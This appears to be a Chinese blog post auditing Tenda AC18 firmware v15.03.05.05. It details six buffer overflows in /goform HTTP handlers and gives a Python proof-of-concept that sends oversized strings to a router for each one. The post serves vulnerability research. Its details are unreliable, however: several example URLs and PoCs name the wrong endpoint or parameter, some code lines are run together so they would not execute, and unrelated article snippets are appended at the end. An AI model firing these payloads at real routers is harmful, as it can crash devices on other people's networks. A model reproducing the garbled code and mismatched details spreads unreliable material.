【代码审计】-Tenda AC 18 v15.03.05.05 /goform接口文档漏洞挖掘
路由器:Tenda AC 18 v15.03.05.05
固件下载地址:https://www.tenda.com.cn/material?keyword=ac18
1./goform/SetSpeedWan 接口文档:
formSetSpeedWan函数中speed_di参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/SetSpeedWan 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetSpeedWan函数里:
Ida查找 formSetSpeedWan函数:
使用sprintf导致缓冲区溢出:

char *)s:将 _DWORD 类型的数组 s 强制转换为 char 类型的指针

_DWORD s[8]; 声明了一个名为 s 的数组,该数组由 8 个 _DWORD 类型的元素组成。_DWORD 是一个数据类型,通常在 32 位系统上表示一个双字(double word字节)。
8 个 _DWORD即32个字节。
"{\"errCode\":%d,\"speed_dir\":%s}":这是格式化字符串,它定义了输出字符串的格式。这个格式包含两个字段:errCode 和 speed_dir。
%d:格式说明符,用于插入一个十进制整数。这里对应变量 v8 的值。

%s:格式说明符,用于插入一个字符串。这里对应变量 v7 的值

在下图可知:
v1是用户可以手动输入的参数a1:speed_dir

若输入的speed_dir字符串长度超过 32个字节(_DWORD s[8]; ),会导致缓冲区溢出。
故我们可以构造
http://<ip router>/goform/schedWifiEnable+speed_dir=a*2000
来复现此漏洞。
poc.py
import requestsip = "192.168.124.154"
url = "http://" + ip + "/goform/SetSpeedWan"
payload = b"a"*1000data = {"speed_dir": payload}
response = requests.post(url, data=data)
print(response.text)
2./goform/QuickIndex 接口文档:
formQuickIndex函数中PPPOEPassword参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/QuickIndex 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formQuickIndex函数里:
Ida查找formQuickIndex函数:

BYTE:这可能是一个自定义的数据类型,通常用来表示一个字节(1字节 = 8位)。
s[72]:这是一个数组,包含72个 _BYTE 类型的元素。这意味着 s 是一个可以存储72个字节数据的数组。
![]()
跟进sub_4F7C0

sub_4F7C0,对第二个参数 a2 指向的字符串进行某种转换,并将结果存储在第一个参数 result 指向的缓冲区中。
即将v8填充到s.
而v8为用户输入的参数a1(PPPOEPassword)

若输入的PPPOEPassword字符串长度超过 s[72]个字节,会覆盖其他重要数据,导致缓冲区溢出。
故我们可以构造
http://<ip router>/goform/QuickIndex+PPPOEPassword=a*2000
来复现此漏洞。
poc.py
import requestsip = "192.168.124.154"
url = "http://" + ip + "/goform/QuickIndex"
payload = b"a"*1000data = {"PPPOEPassword": payload}
response = requests.post(url, data=data)
print(response.text)
3./goform/SetOnlineDevName 接口文档:
formSetDeviceName函数中devName/mac参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/SetOnlineDevName请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetDeviceName函数里:
Ida查找formSetDeviceName函数:
使用 sprintf可能导致缓冲区溢出:

倒数第一个sprintf:
![]()
v4[8] 声明一个包含8 _DWORD 类型元素的数组。
这意味着 v4 是一个可以存储8个32位整数的数组,总共占用 8 * 4 = 32 字节的内存空间。
1 是要插入的整数值,表示错误代码。
输出1到v4 ,常量舍弃。
倒数第二个sprintf:

v4[8] 声明包含8个 _DWORD 类型元素的数组,占用 8 * 4 = 32 字节的内存空间。
v9:

常量,舍弃。
倒数第三个和第四个sprintf:

v7 必须指向一个有效的字符a1。
a1为用户输入的字符串:devName(a1)=v7

跟进tpi_set_mac_info 函数:

调用 tpi_set_mac_info 函数尝试设置MAC地址
&&两个条件比需要同时满足:
即输入v8 MAC输入v7devName

将输入的v7写入到字符数组 v5 中,v8写入到字符数组 s 中

定义了字符数组v5 ,数组的大小为 580 个字符,字符数组s, 数组的大小为 128 个字符
若输入的字符串v7长度超过 580个 字节,导致缓冲区溢出。
若输入的字符串v8长度超过 128个 字节,导致缓冲区溢出。
故我们可以构造:
- http://<ip router>/goform/SetOnlineDevName+mac=a*2000,devName=1
- http://<ip router>/goform/SetOnlineDevName+devName=a*2000,mac=1
来复现此漏洞。
注:为了保证 tpi set mac info 函数返回 0,程序进入到漏洞点:

我们需要保证程序进入:

保证 tpi set mac info 函数返回 0:
要求:socket 连接建立成功(模拟的固件可能不支持,可以手动跳过socket 检查或者直接令程序进入tpi set mac info函数)
这里采用第二种:将MOV R3,R0改为MOV R3,#0,直接令程序进入tpi set mac info函数

poc.py
import requests
ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetOnlineDevName"
payload = b"a"*2000data = {"mac": 1,"devName": payload}
response = requests.post(url, data=data)
print(response.text)
4./goform/SetPptpServerCfg 接口文档:
formSetPPTPServer函数中startIP参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/SetPptpServerCfg 请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中, formSetPPTPServer函数里:
Ida查找 formSetPPTPServer函数:
用户可控的输入参数为a1。
![]()

由下可知:

![]()
v21,v22常量,舍弃。
![]()
检查 v20 和 v19 是否为空:

如果任一为空,则设置 v24 为 1 并跳转到 LABEL_20。
输出错误。
如果都不为空:
使用sscanf函数格式化V20的值,格式为v13, v14, v15, &v15[8]
使用sscanf函数格式化V19的值,格式为&v9, &v10, &v11, v12

sprintf 导致缓冲区溢出:
第一个sprintf :
将变量 v13、v14、v15 的值和一个字符串 "0" 连接起来,形成一个新的字符串,格式为 "v13.v14.v15.0"。
结果存储在字符数组 s 中。

s为:128字节的数组。
第二个sprintf :
将 v13、v14、v15 的值和一个字符串 "1" 连接起来,形成一个新的字符串,格式为 "v13.v14.v15.1"。
结果存储在字符数组 v17 中。

v17为:64字节的数组。
v16,v17是用户输入的a1:startIp
故我们可以构造
http://<ip router>/goform/SetPptpServerCfg+startIp=a*2000,"endIp": 1
来复现此漏洞。
poc.py
import requestsip = "192.168.124.154"
url = "http://" + ip + "/goform/SetPptpServerCfg"
payload = 'a'*1000data = {
"startIp": payload,
"endIp": 1
}
response = requests.post(url, data=data)
print(response.text)
5./goform/openSchedWifi接口文档:
setSchedWifi函数中list参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/openSchedWifi请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中,setSchedWifi函数里:
Ida查找setSchedWifi函数:
使用 strcpy 导致缓冲区溢出:

复制的字符串src到dest
跟进指针dest:

定义了一个字符数组 dest,数组的大小为 580 个字符
若输入的sr字符串长度超过 580个 字节,strcpy 会将超出部分写入到 dest 的相邻内存区域,从而覆盖其他重要数据,导致缓冲区溢出。
在下图可知:
![]()
![]()

src为a1
a1用户输入的接收参数list,
故我们可以构造
http://<ip router>/goform/SetNetControlList+list=a*2000
来复现此漏洞。
poc.py
import requests
from pwn import *ip = "192.168.124.154"
url = "http://" + ip + "/goform/SetNetControlList"
payload = b"a"*2000data = {"list": payload}
response = requests.post(url, data=data)
print(response.text)
6./goform/openSchedWifi接口文档:
setSchedWifi函数中schedWifiEnable参数缓冲区溢出漏洞:
使用 binwalk -eM 解包固件,获得系统文件以备后续分析。
/goform/openSchedWifi请求会触发漏洞,具体漏洞代码存在于<解压后的固件>/squashfs-root/bin/httpd 文件中,setSchedWifi函数里:
Ida查找setSchedWifi函数:
使用 strcpy 可能导致缓冲区溢出:
第一个strcpy 定义的dest为常量,放弃。

第二个strcpy ,将字符串 src 和 v20 分别复制到动态分配的内存 ptr 的特定位置

跟进 ptr指针:

malloc 是 C 标准库中的一个函数,用于动态分配内存。
0x19 是一个十六进制数,表示十进制的 25。
这行代码分配了 25 个字节 的内存空间。
若src和v20的字节数大于25,字符串长度超过 128 字节,strcpy 会将超出部分写入到 v5 的相邻内存区域,从而覆盖其他重要数据,导致缓冲区溢出。
在下图可知:
![]()

src为用户输入的schedWifiEnable
v20为用户输入的schedEndTime
故我们可以构造
http://<ip router>/setSchedWifi+schedWifiEnable=a*2000
来复现此漏洞。
poc.py
import requestsip = "192.168.124.154"
url = "http://" + ip + "/goform/openSchedWifi"
payload = b"a"*1000data = {"schedWifiEnable":0,"schedEndTime": payload}
response = requests.post(url, data=data)
print(response.text)
相关文章:
【代码审计】-Tenda AC 18 v15.03.05.05 /goform接口文档漏洞挖掘
路由器:Tenda AC 18 v15.03.05.05 固件下载地址:https://www.tenda.com.cn/material?keywordac18 1./goform/SetSpeedWan 接口文档: formSetSpeedWan函数中speed_di参数缓冲区溢出漏洞: 使用 binwalk -eM 解包固件,…...
2025年02月21日Github流行趋势
项目名称:source-sdk-2013 项目地址url:https://github.com/ValveSoftware/source-sdk-2013项目语言:C历史star数:7343今日star数:929项目维护者:JoeLudwig, jorgenpt, narendraumate, sortie, alanedwarde…...
git 克隆及拉取github项目到本地微信开发者工具,微信开发者工具通过git commit、git push上传代码到github仓库
git 克隆及拉取github项目到本地微信开发者工具,微信开发者工具通过git commit、git push上传代码到github仓库 git 克隆及拉取github项目到本地 先在自己的用户文件夹新建一个项目文件夹,取名为项目名 例如这样 C:\Users\HP\yzj-再打开一个终端页面&…...
【算法基础】--前缀和
前缀和 一、一维前缀和示例模板[寻找数组的中心下标 ](https://leetcode.cn/problems/tvdfij/description/)除自身以外的数组乘积和可被k整除的子数组 一、一维前缀和 前缀和就是快速求出数组某一个连续区间内所有元素的和。 示例模板 已知一个数组arr,求前缀和 …...
统一的多摄像头3D感知框架!PETRv2论文精读
论文地址:PETRv2: A Unified Framework for 3D Perception from Multi-Camera Images 源代码:PETR 摘要 在本文中,我们提出了PETRv2,用于从多视角图像中进行3D感知的统一框架。基于PETR [24],PETRv2探索了时间建模的…...
【Linux】Linux 文件系统—— 探讨软链接(symbolic link)
ℹ️大家好,我是练小杰,周五又到了,明天应该就是牛马的休息日了吧!!😆 前天我们详细介绍了 硬链接的特点,现在继续探讨 软链接的特点,并且后续将添加更多相关知识噢,谢谢…...
快速排序_912. 排序数组(10中排序算法)
快速排序_912. 排序数组(10中排序算法) 1 快速排序(重点)报错代码超时代码修改官方题解快速排序 1:基本快速排序快速排序 2:双指针(指针对撞)快速排序快速排序 3:三指针快…...
DEMF模型赋能多模态图像融合,助力肺癌高效分类
目录 论文创新点 实验设计 1. 可视化的研究设计 2. 样本选取和数据处理 3. 集成分类模型 4. 实验结果 5. 可视化结果 图表总结 可视化知识图谱 在肺癌早期筛查中,计算机断层扫描(CT)和正电子发射断层扫描(PET)作为两种关键的影像学手段,分别提供了丰富的解剖结构…...
Linux-CentOS 7安装
Centos 7镜像:https://pan.baidu.com/s/1fkQHYT64RMFRGLZy1xnSWw 提取码: q2w2 VMware Workstation:https://pan.baidu.com/s/1JnRcDBIIOWGf6FnGY_0LgA 提取码: w2e2 1、打开vmware workstation 2、选择主界面的"创建新的虚拟机"或者点击左上…...
Android14(13)添加墨水屏手写API
软件平台:Android14 硬件平台:QCS6115 需求:特殊品类的产品墨水屏实现手写的功能,本来Android自带的Input这一套可以实现实时展示笔迹,但是由于墨水屏特性,达不到正常的彩屏刷新的帧率,因此使用…...
AI助力下的PPT革命:DeepSeek 与Kimi的高效创作实践
清华大学出品《DeepSeek:从入门到精通》分享 在忙碌的职场中,制作一份高质量的PPT往往需要投入大量时间和精力,尤其是在临近截止日期时。今天,我们将探索如何借助 AI 工具 —— DeepSeek 和 Kimi —— 让 PPT 制作变得既快捷又高…...
【opencv】图像基本操作
一.计算机眼中的图像 1.1 图像读取 cv2.IMREAD_COLOR:彩色图像 cv2.IMREAD_GRAYSCCALE:灰色图像 ①导包 import cv2 # opencv读取的格式是BGR import matplotlib.pyplot as plt import numpy as np %matplotlib inline ②读取图像 img cv2.imread(…...
帆软报表FineReport入门:简单报表制作[扩展|左父格|上父格]
FineReport帮助文档 - 全面的报表使用教程和学习资料 数据库连接 点击号>>JDBC 选择要连接的数据库>>填写信息>>点击测试连接 数据库SQLite是帆软的内置数据库, 里面有练习数据 选择此数据库后,点击测试连接即可 数据库查询 方法一: 在左下角的模板数据集…...
云手机如何进行经纬度修改
云手机如何进行经纬度修改 云手机修改经纬度的方法因不同服务商和操作方式有所差异,以下是综合多个来源的常用方法及注意事项: 通过ADB命令注入GPS数据(适用于技术用户) 1.连接云手机 使用ADB工具连接云手机服务器,…...
VUE中的组件加载方式
加载方式有哪些,及如何进行选择 常规的静态引入是在组件初始化时就加载所有依赖的组件,而懒加载则是等到组件需要被渲染的时候才加载。 对于大型应用,可能会有很多组件,如果一开始都加载,可能会影响首屏加载时间。如…...
天 锐 蓝盾终端安全管理系统:办公U盘拷贝使用管控限制
天 锐 蓝盾终端安全管理系统以终端安全为基石,深度融合安全、管理与维护三大要素,通过对桌面终端系统的精准把控,助力企业用户构筑起更为安全、稳固且可靠的网络运行环境。它实现了管理的标准化,有效破解终端安全管理难题…...
计算机网络之物理层——基于《计算机网络》谢希仁第八版
(꒪ꇴ꒪ ),Hello我是祐言QAQ我的博客主页:C/C语言,数据结构,Linux基础,ARM开发板,网络编程等领域UP🌍快上🚘,一起学习,让我们成为一个强大的攻城狮࿰…...
区块链中的递归长度前缀(RLP)序列化详解
文章目录 1. 什么是RLP序列化?2. RLP的设计目标与优势3. RLP处理的数据类型4. RLP编码规则详解字符串的编码规则列表的编码规则 5. RLP解码原理6. RLP在以太坊中的应用场景7. 编码示例分析8. 总结 1. 什么是RLP序列化? 递归长度前缀(RLP&…...
分布式简单理解
基本概念 应⽤(Application)/系统(System) 为了完成⼀整套服务的⼀个程序或者⼀组相互配合的程序群。⽣活例⼦类⽐:为了完成⼀项任 务,⽽搭建的由⼀个⼈或者⼀群相互配的⼈组成的团队。 模块(Module)/组件…...
记录:Docker 安装记录
今天在安装 ollama 时发现无法指定安装目录,而且它的命令行反馈内容很像 docker ,而且它下载的模型也是放在 C 盘,那么如果我 C 盘空间不足,就装不了 deepseek-r1:70b ,于是想起来之前安装 Docker 的时候也遇到过类似问…...
Leetcode 二叉树展开为链表
java solution class Solution {public void flatten(TreeNode root) {//首先设置递归终止条件if(root null) return;//分别递归处理左右子树,//递归需要先处理子问题(子树的拉平),然后才能处理当前问题(当前节点的指…...
IEEE官方期刊缩写查询pdf分享
可以直接保存...
RabbitMQ 消息队列 优化发送邮件
express 发送邮件 最简单的异步发送邮件方法为何要使用 RabbitMQ?如何在 Node 项目中集成 RabbitMQ? 一、 不用 await 发送邮件 在实际开发之前,不妨先思考下,我们最终的目的是为了让邮件异步发送。那发送邮件这里有个await&am…...
【AI】常见的AI工具地址和学习资料链接
AI工具地址: DeepSeek:DeepSeekChatGPT-4o:https://openai.com/chatgpt/overview/Kimi:Kimi.ai - 会推理解析,能深度思考的AI助手豆包:豆包讯飞星火:讯飞星火大模型-AI大语言模型-星火大模型-科…...
NetLogon 权限提升漏洞
参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客 域控机器账户:WIN-0V0GAORDC17 域控 ip:192.168.72.163 域内攻击者机器 ip:192.168.72.158,host:WIN10-01 攻击者 kali…...
【C++】 Flow of Control
《C程序设计基础教程》——刘厚泉,李政伟,二零一三年九月版,学习笔记 文章目录 1、选择结构1.1、if 语句1.2、嵌套的 if 语句1.3、条件运算符 ?:1.4、switch 语句 2、循环结构2.1、while 语句2.2、do-while 语句2.3、 for 循环2.4、循环嵌套…...
图论 之 迪斯科特拉算法求解最短路径
文章目录 题目743.网络延迟时间3341.到达最后一个房间的最少时间I 求解最短路径的问题,分为使用BFS和使用迪斯科特拉算法,这两种算法求解的范围是有区别的 BFS适合求解,边的权值都是1的图中的最短路径的问题 图论 之 BFS迪斯科特拉算法适合求…...
module ‘cv2.dnn‘ has no attribute ‘DictValue‘解决办法
module ‘cv2.dnn‘ has no attribute ‘DictValue‘解决办法 pip install opencv-python4.7.0.72 -i https://pypi.tuna.tsinghua.edu.cn/simple 测试: python -c"import cv2"...
Spring Boot 中事务的用法详解
引言 在 Spring Boot 中,事务管理是一个非常重要的功能,尤其是在涉及数据库操作的业务场景中。Spring 提供了强大的事务管理支持,能够帮助我们简化事务的管理和控制。本文将详细介绍 Spring Boot 中事务的用法,包括事务的基本概…...
【react18】如何使用useReducer和useContext来实现一个todoList功能
重点知识点就是使用useReducer来攻坚小型的公共状态管理,useImmerReducer来实现数据的不可变 实现效果 实现代码 项目工程结构 App.js文件 import logo from "./logo.svg"; import "./App.css"; import TodoLists from "./comps/TodoLi…...
